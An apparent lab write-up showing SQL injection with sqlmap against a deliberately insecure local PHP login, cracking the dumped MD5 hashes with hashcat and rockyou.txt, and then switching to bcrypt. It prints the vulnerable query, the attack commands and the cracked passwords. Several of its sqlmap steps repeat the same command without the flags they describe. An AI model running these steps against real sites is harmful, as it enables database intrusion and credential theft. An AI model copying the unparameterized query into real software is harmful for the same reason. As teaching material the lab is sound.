Password Extraction & MD5 Cracking Demo via SQL Injection and Hashcat

This project demonstrates how a vulnerable web application can be exploited using SQL injection to extract password hashes from a backend database, followed by cracking those hashes using Hashcat and a common wordlist (`rockyou.txt`).

---

1. Simulating the Vulnerable Environment

We created a PHP-based login form that is **intentionally insecure** by:

- Using unsalted MD5 for password hashing.
- Executing unparameterized SQL queries.

```
$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$hashedPassword'";
```

This was demonstrated using our vulnerable_login.php file.

2. SQL Injection

We used SQLmap to perform an automated SQL injection attack using the following steps:

- Prepared a test POST request

  ```
  sqlmap -u "http://localhost/vulnerable_login.php" --data="username=user1&password=123456" --batch --level=5
  ```

- Check for vulnerable databases

  ```
  sqlmap -u "http://localhost/vulnerable_login.php" --data="username=user1&password=123456" --batch --level=5
  ```

- List tables in vulnerable database

  ```
  sqlmap -u "http://localhost/vulnerable_login.php" --data="username=user1&password=123456" --batch -D banka
  ```

- Dump users table containing MD5 hashed passwords

  ```
  sqlmap -u "http://localhost/vulnerable_login.php" --data="username=user1&password=123456" --batch -D banka
  ```

3. Preparing and Cracking Hashed Passwords

We saved the hashedpasswords to our `md5hashes.txt` and used Hashcat and a bashscript `./crack_md5.sh` to automate the cracking process. The script used Hashcat and the `rockyou.txt`

password list to crack the md5 hashes, rendering this output:

```
Cracked hashes:
482c811da5d5b4bc6d497ffa98491e38:password123
55122120498e3673fa6fcb8f7087a494:usr2123
3904117c6df2f91e8e92db1406bcb5ed:bob363
25ab1e918ecafc97687acffa220f692b:hardpass
9a7108cfaa7f51efb5fcda9e9d4b7a90:hello100
2bc35ad1dc45b4359d3c4acbe4fbdaf7:newpass8
cc9a250cde92dc08fa00a6c6d8944408:bread101
```

Observations and Lessons

This helped us learn that we should always use parameterized queries to prevent SQL injection and easy access to our databases with secure information. We should also avoid storing unsalted passwords, especially with weak encryption such as MD5. We can also attempt to employ attempt limits and input validation to avoid brute force and injection attacks in the future.

Using The More Secure Bcrypt

To improve or password security we switched from MD5 to Bcrypt. Bcrypt is a password hashing function that is based on the Blowfish cipher. This method includes a salt (a random value added prior to hashing) which makes using methods such as HashCat extremely slow or fruitless.

Switching to Bcrypt was as easy, as it only involved the following change.

From this -

```
$hashedPassword = md5($password);
```

To this -

```
$hashedPassword = password_hash($password, PASSWORD_BCRYPT);
```

End Results

The extraction of passwords used the same method as the one used to acquire our MD5 hashes. We used the same passwords as last time but this time hashed via Bcrypt. SQLmap was used for extraction and then a HashCat bash script was used to automate the process. However, this time around the script rendered no results. The estimated time to crack the hashes that was given by HashCat was **21 days, 11 hours**! regardless, there was no guarantee that any of the passwords would be cracked even in that time frame.

This result was a significant difference from our last attempt at cracking the MD5 hashes which rendered all 7 passwords correctly within seconds. This small change in hashing methods rendered a much more secure method of storing our passwords.